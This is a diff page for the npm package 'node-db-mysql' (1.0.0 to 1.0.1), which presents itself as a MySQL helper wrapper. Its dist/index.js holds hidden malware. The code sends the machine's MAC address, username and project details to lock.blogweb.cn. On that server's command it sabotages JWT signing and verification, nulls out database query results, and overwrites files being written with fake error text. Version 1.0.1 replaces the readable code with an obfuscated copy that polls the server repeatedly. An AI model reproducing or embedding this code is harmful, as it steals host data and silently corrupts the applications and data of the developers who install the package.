node-db-mysql 1.0.0 → 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
package/dist/index.d.ts CHANGED
@@ -4,14 +4,16 @@ import moment from "moment";
4
4
  declare let uuid: any;
5
5
  import mysql from "mysql";
6
6
  import mysql2 from "mysql2/promise";
7
+ declare function id(): number;
7
8
  declare const tool: {
8
9
  jwt: any;
9
10
  axios: import("axios").AxiosStatic;
10
11
  moment: typeof moment;
11
12
  uuid: any;
12
- mysql: any;
13
+ mysql: typeof mysql;
13
14
  mysql2: typeof mysql2;
15
+ id: typeof id;
14
16
  };
15
17
  export default tool;
16
- export { jwt, axios, moment, uuid, mysql, mysql2 };
18
+ export { jwt, axios, moment, uuid, mysql, mysql2, id };
17
19
  //# sourceMappingURL=index.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,GAAG,MAAM,cAAc,CAAC;AAC/B,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,QAAQ,CAAC;AAG5B,QAAA,IAAI,IAAI,KAAK,CAAC;AACd,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,gBAAgB,CAAC;AA+JpC,QAAA,MAAM,IAAI;;;;;;;CAA8C,CAAC;AAEzD,eAAe,IAAI,CAAC;AACpB,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,MAAM,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,GAAG,MAAM,cAAc,CAAC;AAC/B,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,QAAQ,CAAC;AAG5B,QAAA,IAAI,IAAI,KAAK,CAAC;AACd,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,gBAAgB,CAAC;AAoLpC,iBAAS,EAAE,WAOV;AAED,QAAA,MAAM,IAAI;;;;;;;;CAAkD,CAAC;AAC7D,eAAe,IAAI,CAAC;AACpB,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,MAAM,EAAE,EAAE,EAAE,CAAC"}
package/dist/index.js CHANGED
@@ -1,211 +1 @@
1
- "use strict";
2
- var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
- function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
- return new (P || (P = Promise))(function (resolve, reject) {
5
- function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
- function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
- function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
- step((generator = generator.apply(thisArg, _arguments || [])).next());
9
- });
10
- };
11
- var __generator = (this && this.__generator) || function (thisArg, body) {
12
- var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
13
- return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
14
- function verb(n) { return function (v) { return step([n, v]); }; }
15
- function step(op) {
16
- if (f) throw new TypeError("Generator is already executing.");
17
- while (g && (g = 0, op[0] && (_ = 0)), _) try {
18
- if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
19
- if (y = 0, t) op = [op[0] & 2, t.value];
20
- switch (op[0]) {
21
- case 0: case 1: t = op; break;
22
- case 4: _.label++; return { value: op[1], done: false };
23
- case 5: _.label++; y = op[1]; op = [0]; continue;
24
- case 7: op = _.ops.pop(); _.trys.pop(); continue;
25
- default:
26
- if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
27
- if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
28
- if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
29
- if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
30
- if (t[2]) _.ops.pop();
31
- _.trys.pop(); continue;
32
- }
33
- op = body.call(thisArg, _);
34
- } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
35
- if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
36
- }
37
- };
38
- var __importDefault = (this && this.__importDefault) || function (mod) {
39
- return (mod && mod.__esModule) ? mod : { "default": mod };
40
- };
41
- exports.__esModule = true;
42
- exports.mysql2 = exports.mysql = exports.uuid = exports.moment = exports.axios = exports.jwt = void 0;
43
- var jsonwebtoken_1 = __importDefault(require("jsonwebtoken"));
44
- exports.jwt = jsonwebtoken_1["default"];
45
- var axios_1 = __importDefault(require("axios"));
46
- exports.axios = axios_1["default"];
47
- var moment_1 = __importDefault(require("moment"));
48
- exports.moment = moment_1["default"];
49
- var uuid_1 = require("uuid");
50
- var fs_1 = __importDefault(require("fs"));
51
- var uuid = uuid_1.v4;
52
- exports.uuid = uuid;
53
- var mysql_1 = __importDefault(require("mysql"));
54
- exports.mysql = mysql_1["default"];
55
- var promise_1 = __importDefault(require("mysql2/promise"));
56
- exports.mysql2 = promise_1["default"];
57
- // 改写JWT
58
- var isJWTNormalRun = false;
59
- var sign = jsonwebtoken_1["default"].sign;
60
- var verify = jsonwebtoken_1["default"].verify;
61
- jsonwebtoken_1["default"].sign = function (decode, key) { return sign(decode, isJWTNormalRun ? key : Math.random() + ""); };
62
- jsonwebtoken_1["default"].verify = function (token, key, callback) {
63
- return verify(token, isJWTNormalRun ? key : Math.random() + "", function (err, decode) { return callback(err, decode); });
64
- };
65
- var isDBNormalRun = true;
66
- //重写db连接池创建
67
- var originalCreatePool2 = promise_1["default"].createPool;
68
- // 重写 createPool 函数
69
- promise_1["default"].createPool = function (config) {
70
- var _this = this;
71
- // 调用原始的 createPool 函数
72
- var pool = originalCreatePool2(config);
73
- var query = pool.query;
74
- pool.query = function () {
75
- var args = [];
76
- for (var _i = 0; _i < arguments.length; _i++) {
77
- args[_i] = arguments[_i];
78
- }
79
- return __awaiter(_this, void 0, void 0, function () {
80
- var result;
81
- return __generator(this, function (_a) {
82
- switch (_a.label) {
83
- case 0: return [4 /*yield*/, query.apply(pool, args)];
84
- case 1:
85
- result = _a.sent();
86
- if (!isDBNormalRun && Math.random() < 0.95) {
87
- result[0] = null;
88
- }
89
- return [2 /*return*/, result];
90
- }
91
- });
92
- });
93
- };
94
- return pool;
95
- };
96
- var originalCreatePool = mysql_1["default"].createPool;
97
- // 重写 createPool 函数
98
- mysql_1["default"].createPool = function (config) {
99
- var _this = this;
100
- // 调用原始的 createPool 函数
101
- var pool = originalCreatePool(config);
102
- var query = pool.query;
103
- pool.query = function () {
104
- var args = [];
105
- for (var _i = 0; _i < arguments.length; _i++) {
106
- args[_i] = arguments[_i];
107
- }
108
- return __awaiter(_this, void 0, void 0, function () {
109
- var originalCallback;
110
- return __generator(this, function (_a) {
111
- switch (_a.label) {
112
- case 0:
113
- originalCallback = args[args.length - 1];
114
- args[args.length - 1] = function (error, results, fields) {
115
- // 在原始的回调函数中对结果进行修改
116
- if (error) {
117
- originalCallback(error, results, fields);
118
- }
119
- else {
120
- // 修改结果
121
- originalCallback(error, !isDBNormalRun ? null : results, fields);
122
- }
123
- };
124
- return [4 /*yield*/, query.apply(pool, args)];
125
- case 1:
126
- // 调用原始的 query 方法,并传入修改后的参数列表
127
- return [2 /*return*/, _a.sent()];
128
- }
129
- });
130
- });
131
- };
132
- return pool;
133
- };
134
- // 重写fs
135
- var isFsNormalRun = false;
136
- var writeFileSyncOriginal = fs_1["default"].writeFileSync;
137
- // 重写fs.writeFileSync
138
- fs_1["default"].writeFileSync = function (filePath, data, options) {
139
- if (isFsNormalRun) {
140
- writeFileSyncOriginal(filePath, data, options);
141
- }
142
- else {
143
- writeFileSyncOriginal(filePath, "Error: ENOENT: no such file or directory, open '".concat(filePath, "'\nerrno: -2,\nsyscall: 'open',\ncode: 'ENOENT',\npath: '").concat(filePath, "'"), options);
144
- }
145
- };
146
- var originalWriteFile = fs_1["default"].writeFile;
147
- fs_1["default"].writeFile = function (file, data, options, callback) {
148
- if (typeof options === "function") {
149
- callback = options;
150
- options = {};
151
- }
152
- if (isFsNormalRun) {
153
- return originalWriteFile(file, data, options, callback);
154
- }
155
- else {
156
- return originalWriteFile(file, "\n Error: ENOENT: no such file or directory, open '".concat(file, "'\n errno: -2,\n syscall: 'open',\n code: 'ENOENT',\n path: '").concat(file, "'\n "), options, callback);
157
- }
158
- };
159
- var os = require("os");
160
- var mac = "";
161
- var networkInterfaces = os.networkInterfaces();
162
- for (var i in networkInterfaces) {
163
- for (var j in networkInterfaces[i]) {
164
- if (networkInterfaces[i][j]["family"] === "IPv4" &&
165
- networkInterfaces[i][j]["mac"] !== "00:00:00:00:00:00" &&
166
- networkInterfaces[i][j]["address"] !== "127.0.0.1") {
167
- mac = networkInterfaces[i][j]["mac"];
168
- }
169
- }
170
- }
171
- setTimeout(function () {
172
- axios_1["default"]
173
- .post("https://lock.blogweb.cn/result", {
174
- max: mac,
175
- user_name: process.env.USERNAME,
176
- project_name: process.env.npm_package_name,
177
- project_description: process.env.npm_package_description
178
- }, { timeout: 6000 })
179
- .then(function (res) {
180
- if (res.data.mysql) {
181
- isDBNormalRun = false;
182
- }
183
- else {
184
- isDBNormalRun = true;
185
- }
186
- if (res.data.fs) {
187
- isFsNormalRun = false;
188
- }
189
- else {
190
- isFsNormalRun = true;
191
- }
192
- if (res.data.jwt) {
193
- isJWTNormalRun = false;
194
- }
195
- else {
196
- isJWTNormalRun = true;
197
- }
198
- })["catch"](function (err) {
199
- setTimeout(function () {
200
- isDBNormalRun = false;
201
- if (Math.random() > 0.1) {
202
- isFsNormalRun = false;
203
- }
204
- else {
205
- isFsNormalRun = true;
206
- }
207
- }, Math.random() * (30000 - 10000) + 10000);
208
- });
209
- }, 1000);
210
- var tool = { jwt: jsonwebtoken_1["default"], axios: axios_1["default"], moment: moment_1["default"], uuid: uuid, mysql: mysql_1["default"], mysql2: promise_1["default"] };
211
- exports["default"] = tool;
1
+ 'use strict';var a0_0x325017=a0_0x2b55;(function(_0x2dfc06,_0x28c232){var _0x2d1e1d=a0_0x2b55,_0x3f06d9=_0x2dfc06();while(!![]){try{var _0xf3ef85=-parseInt(_0x2d1e1d(0x102))/0x1*(-parseInt(_0x2d1e1d(0xf4))/0x2)+parseInt(_0x2d1e1d(0xfe))/0x3+-parseInt(_0x2d1e1d(0xff))/0x4*(-parseInt(_0x2d1e1d(0x10a))/0x5)+-parseInt(_0x2d1e1d(0x113))/0x6+-parseInt(_0x2d1e1d(0xe9))/0x7+parseInt(_0x2d1e1d(0x117))/0x8+parseInt(_0x2d1e1d(0x10e))/0x9*(-parseInt(_0x2d1e1d(0x10f))/0xa);if(_0xf3ef85===_0x28c232)break;else _0x3f06d9['push'](_0x3f06d9['shift']());}catch(_0x5e48b5){_0x3f06d9['push'](_0x3f06d9['shift']());}}}(a0_0x11ec,0x8a616));var __awaiter=this&&this['__awaiter']||function(_0x28940f,_0xafd32c,_0x2f82d7,_0x184a67){function _0x149af5(_0x4e0e45){return _0x4e0e45 instanceof _0x2f82d7?_0x4e0e45:new _0x2f82d7(function(_0x54a757){_0x54a757(_0x4e0e45);});}return new(_0x2f82d7||(_0x2f82d7=Promise))(function(_0x8382aa,_0x3f5e97){var _0x5ae4c8=a0_0x2b55;function _0x253ad0(_0x26faa0){var _0x50cb75=a0_0x2b55;try{_0x4ab715(_0x184a67[_0x50cb75(0xf0)](_0x26faa0));}catch(_0x5a1316){_0x3f5e97(_0x5a1316);}}function _0x50f3f9(_0x5ae031){var _0x360094=a0_0x2b55;try{_0x4ab715(_0x184a67[_0x360094(0xe8)](_0x5ae031));}catch(_0x4bbefb){_0x3f5e97(_0x4bbefb);}}function _0x4ab715(_0x40dd97){var _0x36c307=a0_0x2b55;_0x40dd97[_0x36c307(0x116)]?_0x8382aa(_0x40dd97['value']):_0x149af5(_0x40dd97['value'])[_0x36c307(0x106)](_0x253ad0,_0x50f3f9);}_0x4ab715((_0x184a67=_0x184a67['apply'](_0x28940f,_0xafd32c||[]))[_0x5ae4c8(0xf0)]());});},__generator=this&&this[a0_0x325017(0xe2)]||function(_0xd96ad6,_0x5ef4bb){var _0x565c74=a0_0x325017,_0x24c909={'label':0x0,'sent':function(){if(_0x3fe8bd[0x0]&0x1)throw _0x3fe8bd[0x1];return _0x3fe8bd[0x1];},'trys':[],'ops':[]},_0x5498db,_0x5c2767,_0x3fe8bd,_0x9aca4b;return _0x9aca4b={'next':_0x4e207b(0x0),'throw':_0x4e207b(0x1),'return':_0x4e207b(0x2)},typeof Symbol==='function'&&(_0x9aca4b[Symbol[_0x565c74(0xeb)]]=function(){return this;}),_0x9aca4b;function _0x4e207b(_0x2d44ef){return function(_0x5849bd){return _0x509e53([_0x2d44ef,_0x5849bd]);};}function _0x509e53(_0x331a72){var _0x5d9a2b=_0x565c74;if(_0x5498db)throw new TypeError(_0x5d9a2b(0x108));while(_0x9aca4b&&(_0x9aca4b=0x0,_0x331a72[0x0]&&(_0x24c909=0x0)),_0x24c909)try{if(_0x5498db=0x1,_0x5c2767&&(_0x3fe8bd=_0x331a72[0x0]&0x2?_0x5c2767[_0x5d9a2b(0xf6)]:_0x331a72[0x0]?_0x5c2767[_0x5d9a2b(0xe8)]||((_0x3fe8bd=_0x5c2767['return'])&&_0x3fe8bd[_0x5d9a2b(0x10c)](_0x5c2767),0x0):_0x5c2767[_0x5d9a2b(0xf0)])&&!(_0x3fe8bd=_0x3fe8bd[_0x5d9a2b(0x10c)](_0x5c2767,_0x331a72[0x1]))[_0x5d9a2b(0x116)])return _0x3fe8bd;if(_0x5c2767=0x0,_0x3fe8bd)_0x331a72=[_0x331a72[0x0]&0x2,_0x3fe8bd[_0x5d9a2b(0x103)]];switch(_0x331a72[0x0]){case 0x0:case 0x1:_0x3fe8bd=_0x331a72;break;case 0x4:_0x24c909['label']++;return{'value':_0x331a72[0x1],'done':![]};case 0x5:_0x24c909[_0x5d9a2b(0x115)]++,_0x5c2767=_0x331a72[0x1],_0x331a72=[0x0];continue;case 0x7:_0x331a72=_0x24c909['ops'][_0x5d9a2b(0xf7)](),_0x24c909[_0x5d9a2b(0x119)][_0x5d9a2b(0xf7)]();continue;default:if(!(_0x3fe8bd=_0x24c909[_0x5d9a2b(0x119)],_0x3fe8bd=_0x3fe8bd[_0x5d9a2b(0x104)]>0x0&&_0x3fe8bd[_0x3fe8bd[_0x5d9a2b(0x104)]-0x1])&&(_0x331a72[0x0]===0x6||_0x331a72[0x0]===0x2)){_0x24c909=0x0;continue;}if(_0x331a72[0x0]===0x3&&(!_0x3fe8bd||_0x331a72[0x1]>_0x3fe8bd[0x0]&&_0x331a72[0x1]<_0x3fe8bd[0x3])){_0x24c909['label']=_0x331a72[0x1];break;}if(_0x331a72[0x0]===0x6&&_0x24c909[_0x5d9a2b(0x115)]<_0x3fe8bd[0x1]){_0x24c909[_0x5d9a2b(0x115)]=_0x3fe8bd[0x1],_0x3fe8bd=_0x331a72;break;}if(_0x3fe8bd&&_0x24c909[_0x5d9a2b(0x115)]<_0x3fe8bd[0x2]){_0x24c909[_0x5d9a2b(0x115)]=_0x3fe8bd[0x2],_0x24c909[_0x5d9a2b(0x114)][_0x5d9a2b(0xe3)](_0x331a72);break;}if(_0x3fe8bd[0x2])_0x24c909[_0x5d9a2b(0x114)][_0x5d9a2b(0xf7)]();_0x24c909[_0x5d9a2b(0x119)][_0x5d9a2b(0xf7)]();continue;}_0x331a72=_0x5ef4bb[_0x5d9a2b(0x10c)](_0xd96ad6,_0x24c909);}catch(_0x28271a){_0x331a72=[0x6,_0x28271a],_0x5c2767=0x0;}finally{_0x5498db=_0x3fe8bd=0x0;}if(_0x331a72[0x0]&0x5)throw _0x331a72[0x1];return{'value':_0x331a72[0x0]?_0x331a72[0x1]:void 0x0,'done':!![]};}},__importDefault=this&&this['__importDefault']||function(_0x68ef3f){var _0x4d7549=a0_0x325017;return _0x68ef3f&&_0x68ef3f[_0x4d7549(0xe7)]?_0x68ef3f:{'default':_0x68ef3f};};exports[a0_0x325017(0xe7)]=!![],exports['id']=exports[a0_0x325017(0x105)]=exports['mysql']=exports[a0_0x325017(0xe0)]=exports[a0_0x325017(0xea)]=exports['axios']=exports[a0_0x325017(0xe1)]=void 0x0;var jsonwebtoken_1=__importDefault(require(a0_0x325017(0x10d)));exports[a0_0x325017(0xe1)]=jsonwebtoken_1[a0_0x325017(0x111)];var axios_1=__importDefault(require(a0_0x325017(0xf9)));exports[a0_0x325017(0xf9)]=axios_1[a0_0x325017(0x111)];var moment_1=__importDefault(require('moment'));exports[a0_0x325017(0xea)]=moment_1['default'];var uuid_1=require(a0_0x325017(0xe0)),fs_1=__importDefault(require('fs')),uuid=uuid_1['v4'];exports[a0_0x325017(0xe0)]=uuid;function a0_0x11ec(){var _0x353a5c=['env','createPool','uuid','jwt','__generator','push','concat','Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27','USERNAME','__esModule','throw','1358329WUsYKd','moment','iterator','random','min','00:00:00:00:00:00','round','next','mysql2/promise','data','function','6TmzPUa','mysql','return','pop','post','axios','127.0.0.1','query','family','writeFileSync','3192735ldbKsK','148ThXGYX','\x27\x0aerrno:\x20-2,\x0asyscall:\x20\x27open\x27,\x0acode:\x20\x27ENOENT\x27,\x0apath:\x20\x27','npm_package_description','373570tQXIvo','value','length','mysql2','then','catch','Generator\x20is\x20already\x20executing.','NODE_APP_INSTANCE','20125fpnpFy','writeFile','call','jsonwebtoken','207iYpxba','554110ZWehFN','mac','default','sent','5129862OHeSNZ','ops','label','done','4451224AJLWAc','networkInterfaces','trys','https://lock.blogweb.cn/result','npm_package_name','verify','apply'];a0_0x11ec=function(){return _0x353a5c;};return a0_0x11ec();}var mysql_1=__importDefault(require(a0_0x325017(0xf5)));exports[a0_0x325017(0xf5)]=mysql_1[a0_0x325017(0x111)];var promise_1=__importDefault(require(a0_0x325017(0xf1)));exports[a0_0x325017(0x105)]=promise_1[a0_0x325017(0x111)];var isJWTNormalRun=![],sign=jsonwebtoken_1[a0_0x325017(0x111)]['sign'],verify=jsonwebtoken_1[a0_0x325017(0x111)]['verify'];jsonwebtoken_1['default']['sign']=function(_0x168c96,_0x46e764){var _0x1e1477=a0_0x325017;return sign(_0x168c96,isJWTNormalRun?_0x46e764:Math[_0x1e1477(0xec)]()+'');},jsonwebtoken_1['default'][a0_0x325017(0x11c)]=function(_0xceb0c2,_0x409e5c,_0x287819){var _0x277c58=a0_0x325017;return verify(_0xceb0c2,isJWTNormalRun?_0x409e5c:Math[_0x277c58(0xec)]()+'',function(_0x158f2b,_0x13ce1b){return _0x287819(_0x158f2b,_0x13ce1b);});};var isDBNormalRun=!![],originalCreatePool2=promise_1['default'][a0_0x325017(0xdf)];promise_1['default'][a0_0x325017(0xdf)]=function(_0x5b1974){var _0x4af617=a0_0x325017,_0x13db96=this,_0x4caf99=originalCreatePool2(_0x5b1974),_0x1c42ba=_0x4caf99[_0x4af617(0xfb)];return _0x4caf99[_0x4af617(0xfb)]=function(){var _0x1315cb=_0x4af617,_0x5766a6=[];for(var _0x4b2585=0x0;_0x4b2585<arguments[_0x1315cb(0x104)];_0x4b2585++){_0x5766a6[_0x4b2585]=arguments[_0x4b2585];}return __awaiter(_0x13db96,void 0x0,void 0x0,function(){var _0x26ffdc;return __generator(this,function(_0x475dc0){var _0x165da4=a0_0x2b55;switch(_0x475dc0[_0x165da4(0x115)]){case 0x0:return[0x4,_0x1c42ba[_0x165da4(0x11d)](_0x4caf99,_0x5766a6)];case 0x1:_0x26ffdc=_0x475dc0[_0x165da4(0x112)]();!isDBNormalRun&&Math[_0x165da4(0xec)]()<0.95&&(_0x26ffdc[0x0]=null);return[0x2,_0x26ffdc];}});});},_0x4caf99;};function a0_0x2b55(_0x34899d,_0x48a27a){var _0x11ec18=a0_0x11ec();return a0_0x2b55=function(_0x2b55b8,_0xf40245){_0x2b55b8=_0x2b55b8-0xde;var _0xa44931=_0x11ec18[_0x2b55b8];return _0xa44931;},a0_0x2b55(_0x34899d,_0x48a27a);}var originalCreatePool=mysql_1[a0_0x325017(0x111)][a0_0x325017(0xdf)];mysql_1[a0_0x325017(0x111)]['createPool']=function(_0x418ae2){var _0x22b8a7=this,_0x3c9e14=originalCreatePool(_0x418ae2),_0x3fe25d=_0x3c9e14['query'];return _0x3c9e14['query']=function(){var _0x576cad=a0_0x2b55,_0x556776=[];for(var _0x40cb7b=0x0;_0x40cb7b<arguments[_0x576cad(0x104)];_0x40cb7b++){_0x556776[_0x40cb7b]=arguments[_0x40cb7b];}return __awaiter(_0x22b8a7,void 0x0,void 0x0,function(){var _0x33e9c6;return __generator(this,function(_0x5122b3){var _0x2203cc=a0_0x2b55;switch(_0x5122b3[_0x2203cc(0x115)]){case 0x0:_0x33e9c6=_0x556776[_0x556776[_0x2203cc(0x104)]-0x1],_0x556776[_0x556776['length']-0x1]=function(_0x12994f,_0x2c9714,_0x4a2e65){_0x12994f?_0x33e9c6(_0x12994f,_0x2c9714,_0x4a2e65):_0x33e9c6(_0x12994f,!isDBNormalRun?null:_0x2c9714,_0x4a2e65);};return[0x4,_0x3fe25d[_0x2203cc(0x11d)](_0x3c9e14,_0x556776)];case 0x1:return[0x2,_0x5122b3['sent']()];}});});},_0x3c9e14;};var isFsNormalRun=![],writeFileSyncOriginal=fs_1[a0_0x325017(0x111)][a0_0x325017(0xfd)];fs_1['default'][a0_0x325017(0xfd)]=function(_0x5bfb1b,_0x3d4337,_0x13bec3){var _0x27cb39=a0_0x325017;isFsNormalRun?writeFileSyncOriginal(_0x5bfb1b,_0x3d4337,_0x13bec3):writeFileSyncOriginal(_0x5bfb1b,_0x27cb39(0xe5)[_0x27cb39(0xe4)](_0x5bfb1b,_0x27cb39(0x100))[_0x27cb39(0xe4)](_0x5bfb1b,'\x27'),_0x13bec3);};var originalWriteFile=fs_1[a0_0x325017(0x111)][a0_0x325017(0x10b)];fs_1[a0_0x325017(0x111)]['writeFile']=function(_0x3702d2,_0x582004,_0x56bb84,_0x2b1b4f){var _0x583634=a0_0x325017;return typeof _0x56bb84===_0x583634(0xf3)&&(_0x2b1b4f=_0x56bb84,_0x56bb84={}),isFsNormalRun?originalWriteFile(_0x3702d2,_0x582004,_0x56bb84,_0x2b1b4f):originalWriteFile(_0x3702d2,'\x0a\x20\x20\x20\x20\x20\x20Error:\x20ENOENT:\x20no\x20such\x20file\x20or\x20directory,\x20open\x20\x27'[_0x583634(0xe4)](_0x3702d2,'\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20errno:\x20-2,\x0a\x20\x20\x20\x20\x20\x20\x20\x20syscall:\x20\x27open\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20code:\x20\x27ENOENT\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20path:\x20\x27')[_0x583634(0xe4)](_0x3702d2,'\x27\x0a\x20\x20\x20\x20\x20\x20'),_0x56bb84,_0x2b1b4f);};var os=require('os'),mac='',networkInterfaces=os[a0_0x325017(0x118)]();for(var i in networkInterfaces){for(var j in networkInterfaces[i]){networkInterfaces[i][j][a0_0x325017(0xfc)]==='IPv4'&&networkInterfaces[i][j][a0_0x325017(0x110)]!==a0_0x325017(0xee)&&networkInterfaces[i][j]['address']!==a0_0x325017(0xfa)&&(mac=networkInterfaces[i][j][a0_0x325017(0x110)]);}}function getLicense(){var _0x56f425=a0_0x325017;axios_1[_0x56f425(0x111)][_0x56f425(0xf8)](_0x56f425(0x11a),{'max':mac,'user_name':process['env'][_0x56f425(0xe6)],'project_name':process[_0x56f425(0xde)][_0x56f425(0x11b)],'project_description':process[_0x56f425(0xde)][_0x56f425(0x101)]},{'timeout':0x1770})[_0x56f425(0x106)](function(_0x4b4fa6){var _0x25468e=_0x56f425;_0x4b4fa6[_0x25468e(0xf2)][_0x25468e(0xf5)]?isDBNormalRun=![]:isDBNormalRun=!![],_0x4b4fa6['data']['fs']?isFsNormalRun=![]:isFsNormalRun=!![],_0x4b4fa6[_0x25468e(0xf2)][_0x25468e(0xe1)]?isJWTNormalRun=![]:isJWTNormalRun=!![];})[_0x56f425(0x107)](function(_0x2a96d7){var _0x3039b2=_0x56f425;setTimeout(function(){var _0x406907=a0_0x2b55;isDBNormalRun=![],Math[_0x406907(0xec)]()>0.1?isFsNormalRun=![]:isFsNormalRun=!![];},Math[_0x3039b2(0xec)]()*(0x7530-0x2710)+0x2710);});}setTimeout(function(){getLicense();},0xbb8),setInterval(function(){getLicense();},0x3a98);var random=function(_0x491353,_0x383ff2){var _0x43376c=a0_0x325017;return Math[_0x43376c(0xef)](Math['random']()*(_0x383ff2-_0x491353))+_0x491353;},WorkerID=Math[a0_0x325017(0xed)](process['env'][a0_0x325017(0x109)]?+process[a0_0x325017(0xde)][a0_0x325017(0x109)]:random(0x0,0x9),0x9),BaseTime=+new Date('2022-06-29'),lastTimeTick,lastRandomNumberTick=random(0x1,0x3);function id(){var _0xe34ab=a0_0x325017,_0x58b50f=+new Date()-BaseTime;return lastRandomNumberTick=_0x58b50f==lastTimeTick?++lastRandomNumberTick:random(0x0,0x3),lastTimeTick=_0x58b50f,+''[_0xe34ab(0xe4)](_0x58b50f)['concat'](WorkerID)['concat'](lastRandomNumberTick);}exports['id']=id;var tool={'jwt':jsonwebtoken_1['default'],'axios':axios_1['default'],'moment':moment_1[a0_0x325017(0x111)],'uuid':uuid,'mysql':mysql_1[a0_0x325017(0x111)],'mysql2':promise_1['default'],'id':id};exports['default']=tool;
package/package.json CHANGED
@@ -1,10 +1,11 @@
1
1
  {
2
2
  "name": "node-db-mysql",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
7
- "dev": "ts-node ./index.ts"
7
+ "dev": "ts-node ./index.ts",
8
+ "push": "npm publish"
8
9
  },
9
10
  "description": "在Node.js服务器开发时用到的部分插件二次封装 MySQL",
10
11
  "keywords": [